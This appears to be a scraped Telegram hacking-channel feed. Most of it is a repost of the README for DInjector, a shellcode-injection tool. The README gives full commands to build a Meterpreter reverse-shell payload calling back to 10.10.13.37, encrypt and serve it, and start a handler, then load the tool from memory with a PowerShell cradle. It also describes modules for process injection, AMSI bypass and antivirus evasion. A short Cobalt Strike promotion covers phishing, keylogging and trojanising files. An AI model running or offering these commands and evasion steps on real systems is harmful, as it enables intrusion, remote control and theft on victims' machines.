Hacking Articles Tips Tricks Videos Tutorials
468 subscribers
65.9K photos
15 videos
157 files
132K links
Exploit
Pentesting
Hacking
Red Team
Blue Team
Kali Linux
Bug Bounty
Black Hat
Cyber security etc

@Hacking_Video
@Hacking_attack
Download Telegram
Dark Reading: Attacks/Breaches
Why Red Teaming While Black Can Be Risky

Penetration audits can be dangerous for people of color. Here is how to keep Black and brown cybersecurity professionals safe during red team engagements.
This repository is an accumulation of my code snippets for various shellcode injection techniques using fantastic D/Invoke (https://thewover.github.io/Dynamic-Invoke/) API by @TheWover and @FuzzySecurity. Features: Fully ported to D/Invoke API Encrypted payloads which can be invoked from a URL or passed in base64 as an argument Built-in AMSI bypass PPID spoofing and block non-Microsoft DLLs (stolen from TikiTorch (https://github.com/rasta-mouse/TikiTorch), write-up is here (https://offensivedefence.co.uk/posts/ppidspoof-blockdlls-dinvoke/)) Sandbox detection & evasion Based on my testings the DInvoke NuGet package (https://www.nuget.org/packages/DInvoke/) itself is being flagged by many commercial AV/EDR solutions when incuded as an embedded (https://www.kitploit.com/search/label/Embedded) resource via Costura.Fody (https://www.nuget.org/packages/Costura.Fody/) (or similar approaches), so I've shrinked it a bit and included from source (https://github.com/TheWover/DInvoke) to achieve better OpSec.

Usage Compile the project in VS. Generate a shellcode for your favourite C2: ~$ msfvenom -p windows/x64/meterpreter/reverse_winhttps LHOST=10.10.13.37 LPORT=443 EXITFUNC=thread -f raw -o shellcode.bin Encrypt (https://github.com/snovvcrash/DInjector/blob/main/encrypt.py) the shellcode: ~$ encrypt.py shellcode.bin -p 'Passw0rd!' -o enc Serve the encrypted shellcode and prepare C2 listener: ~$ sudo python3 -m http.server 80
~$ sudo msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_winhttps; set lhost 10.10.13.37; set lport 443; set EXITFUNC thread; run" Use the PowerShell (https://www.kitploit.com/search/label/PowerShell) download cradle (https://github.com/snovvcrash/DInjector/blob/main/cradle.ps1) to load DInjector.dll as System.Reflection.Assembly and execute it from memory. I do not recommend putting the assembly (https://www.kitploit.com/search/label/Assembly) on disk because it will very likely be flagged.Required global arguments: Name Example Value Description /am51 True, False Applies AMSI bypass /sc http://10.10.13.37/enc Sets shellcode path (can be loaded from URL or as a Base64 string) /password Passw0rd! Sets password to decrypt the shellcode Modules OpSec safe considerations are based on my personal usage expirience and some testings along the way.FunctionPointer (https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/FunctionPointer.cs) module_name: 'functionpointer'
description: |
Allocates a RWX memory region, copies the shellcode into it
and executes it like a function.
calls:
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
- 'http://disbauxes.upc.es/code/two-basic-ways-to-run-and-test-shellcode/'
- 'https://www.ired.team/offensive-security/code-injection-process-injection/local-shellcode-execution-without-windows-apis'
- 'https://www.fergonez.net/post/shellcode-csharp' FunctionPointerV2 (https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/FunctionPointerV2.cs) module_name: 'functionpointerv2'
description: |
Sets RWX on a byte array and executes it like a function.
calls:
- ntdll.dll:
1: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
opsec_safe: false
references:
- 'https://jhalon.github.io/utilizing-syscalls-in-csharp-1/'
- 'https://jhalon.github.io/utilizing-syscalls-in-csharp-2/'
- 'https://github.com/jhalon/SharpCall/blob/master/Syscalls.cs' CurrentThread (https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/CurrentThread.cs) module_name: 'currentthread'
description: |
Injects shellcode into current process.
Thread execution via NtCreateThreadEx.
calls:
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
3: 'NtCreateThreadEx'
4: 'NtWaitForSingleObject'

___________________________
@hacking_Attack
@Hacking_Video
opsec_safe: false
references:
- 'https://github.com/XingYun-Cloud/D-Invoke-syscall/blob/main/Program.cs' RemoteThread (https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThread.cs) module_name: 'remotethread'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote process.
Thread execution via NtCreateThreadEx.
calls:
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
3: 'NtWriteVirtualMemory'
4: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
5: 'NtCreateThreadEx'
opsec_safe: false
references:
- 'https://github.com/S3cur3Th1sSh1t/SharpImpersonation/blob/main/SharpImpersonation/Shellcode.cs' RemoteThreadSuspended (https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThreadSuspended.cs) protection to PAGE_NOACCESS. After a short sleep (waiting until a possible AV scan is finished) the protection is flipped again to PAGE_EXECUTE_READ. Thread execution via NtCreateThreadEx. calls: - ntdll.dll: 1: 'NtOpenProcess' 2: 'NtAllocateVirtualMemory (PAGE_READWRITE)' 3: 'NtWriteVirtualMemory' 4: 'NtProtectVirtualMemory (PAGE_NOACCESS)' 5: 'NtCreateThreadEx (CREATE_SUSPENDED)' 6: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)' 7: 'NtResumeThread' opsec_safe: true references: - 'https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/' - 'https://github.com/plackyhacker/Suspended-Thread-Injection/blob/main/injection.cs' ">module_name: 'remotethreadsuspended'
arguments: |
/pid:1337
description: |
Injects shellcode into an existing remote process and flips memory protection to PAGE_NOACCESS.
After a short sleep (waiting until a possible AV scan is finished) the protection is flipped again to PAGE_EXECUTE_READ.
Thread execution via NtCreateThreadEx.
calls:
- ntdll.dll:
1: 'NtOpenProcess'
2: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
3: 'NtWriteVirtualMemory'
4: 'NtProtectVirtualMemory (PAGE_NOACCESS)'
5: 'NtCreateThreadEx (CREATE_SUSPENDED)'
6: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
7: 'NtResumeThread'
opsec_safe: true
references:
- 'https://labs.f-secure.com/blog/bypassing-windows-defender-runtime-scanning/'
- 'https://github.com/plackyhacker/Suspended-Thread-Injection/blob/main/injection.cs' RemoteThreadAPC (https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThreadAPC.cs) module_name: 'remotethreadapc'
arguments: |
/image:C:\Windows\System32\svchost.exe /ppid:31337 /blockDlls:True
description: |
Injects shellcode into a newly spawned remote process.
Thread execution via NtQueueApcThread.
calls:
- kernel32.dll:
1: 'InitializeProcThreadAttributeList'
2: 'UpdateProcThreadAttribute (blockDLLs)'
3: 'UpdateProcThreadAttribute (PPID)'
4: 'CreateProcessA'
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtWriteVirtualMemory'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
4: 'NtOpenThread'
5: 'NtQueueApcThread'
6: 'NtAlertResumeThread'
opsec_safe: true
references:
- 'https://rastamouse.me/exploring-process-injection-opsec-part-2/'
- 'https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0' RemoteThreadContext (https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/RemoteThreadAPC.cs) module_name: 'remotethreadcontext'
arguments: |
/image:C:\Windows\System32\svchost.exe /ppid:31337 /blockDlls:True
description: |
Injects shellcode into a newly spawned remote process.
Thread execution via SetThreadContext.
calls:
- kernel32.dll:
1: 'InitializeProcThreadAttributeList'
2: 'UpdateProcThreadAttribute (blockDLLs)'
3: 'UpdateProcThreadAttribute (PPID)'
4: 'CreateProcessA'
- ntdll.dll:
1: 'NtAllocateVirtualMemory (PAGE_READWRITE)'
2: 'NtWriteVirtualMemory'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READ)'
4: 'NtCreateThreadEx (CREATE_SUSPENDED)'

___________________________
@hacking_Attack
@Hacking_Video
5: 'GetThreadContext'
6: 'SetThreadContext'
7: 'NtResumeThread'
opsec_safe: true
references:
- 'https://blog.xpnsec.com/undersanding-and-evading-get-injectedthread/'
- 'https://github.com/djhohnstein/CSharpSetThreadContext/blob/master/Runner/Program.cs' ProcessHollow (https://github.com/snovvcrash/DInjector/blob/main/DInjector/Modules/ProcessHollow.cs) module_name: 'processhollow'
arguments: |
/image:C:\Windows\System32\svchost.exe /ppid:31337 /blockDlls:True
description: |
Injects shellcode into a newly spawned remote process.
Thread execution via NtResumeThread (hollowing with shellcode).
calls:
- kernel32.dll:
1: 'InitializeProcThreadAttributeList'
2: 'UpdateProcThreadAttribute (blockDLLs)'
3: 'UpdateProcThreadAttribute (PPID)'
4: 'CreateProcessA'
- ntdll.dll:
1: 'NtQueryInformationProcess'
2: 'NtReadVirtualMemory'
3: 'NtProtectVirtualMemory (PAGE_EXECUTE_READWRITE)'
4: 'NtWriteVirtualMemory'
5: 'NtProtectVirtualMemory (oldProtect)'
6: 'NtResumeThread'
opsec_safe: false
references:
- 'https://github.com/CCob/SharpBlock/blob/master/Program.cs' Credits @TheWover and @FuzzySecurity for their awesome DInvoke (https://github.com/TheWover/DInvoke) project. All those great researchers mentioned in the modules references above.

Download DInjector (https://github.com/snovvcrash/DInjector)

___________________________
@hacking_Attack
@Hacking_Video
Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
Offensive Security Tool: Cobalt Strike

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tool: Cobalt StrikePost Views: 253 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 3 Minutes

Offensive Security Tool: Cobalt Strike GitHub Link What is?Cobalt Strike is threat emulation software. Execute targeted attacks against modern enterprises with one of the most powerful network attack kits available to penetration testers. This is not compliance testing. Its Software for Adversary Simulations and Red Team Operations.

Everyone has worked with Armitage, this is the more sophisticated version that offers you full GUI capabilities, and instead of Shell/Meterpreter offering Beacon for Connect Back Options giving more reliability.
See Also: Kali Linux 2021.4 Released – New Themes and Tools, name-that-hash, truffleHog, S3Scanner, KDE Plasma 5.23 FeaturesReconnaissanceCobalt Strike’s system profiler discovers which client-side applications your target uses, with version information. Covert CommunicationBeacon’s network indicators are malleable. Load a C2 profile to look like another actor. Use HTTP, HTTPS, and DNS to egress a network. Use named pipes to control Beacons, peer-to-peer, over the SMB protocol. Spear phishingImport a message and let Cobalt Strike replace links and text to build a convincing phish for you. Cobalt Strike sends email and tracks who clicks.
See Also: Hacking stories – Rafael Núñez (aka RaFa), hacking NASA with the hacking group: World of Hell CollaborationConnect to a Cobalt Strike team server to share data, communicate in real-time, and control systems compromised during the engagement. Post ExploitationBeacon is Cobalt Strike’s payload to model an advanced actor. Beacon executes PowerShell scripts, logs keystrokes, takes screenshots, downloads files, and spawns other payloads. Attack PackagesUse Cobalt Strike to host a web drive-by attack or transform an innocent file into a trojan horse.

* Java Applet Attacks
* Microsoft Office Documents
* Microsoft Windows Programs
* Website Clone Tool Browser PivotingUse a Browser Pivot to go around two-factor authentication and access sites as your target. Reporting and LoggingCobalt Strike’s reports provide a timeline and a list of indicators from red team activity. These reports are made to benefit our peers in security operations. Cobalt Strike exports reports as both PDF and MS Word documents.
See Also: Complete Offensive Security and Ethical Hacking Course https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Untitled-design.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/gomapenum-90x90.png Offensive Security Tool: GoMapEnum1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/hashcat-90x90.png Offensive Security Tool: Hashcat2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/bugbountytools-90x90.png Offensive Security Tools: Awesome Bug Bounty Tools3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/unknown-1-90x90.png Offensive Security Tool: Pentesting Tools4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/unknown-90x90.png Offensive Security Tool: DotDotPwn – The Directory Traversal Fuzzer1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/unknown-1-90x90.png Offensive Security Tool: ZipExec1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/carbon-2048x1374-1-90x90.png [...]

___________________________
@hacking_Attack
@Hacking_Video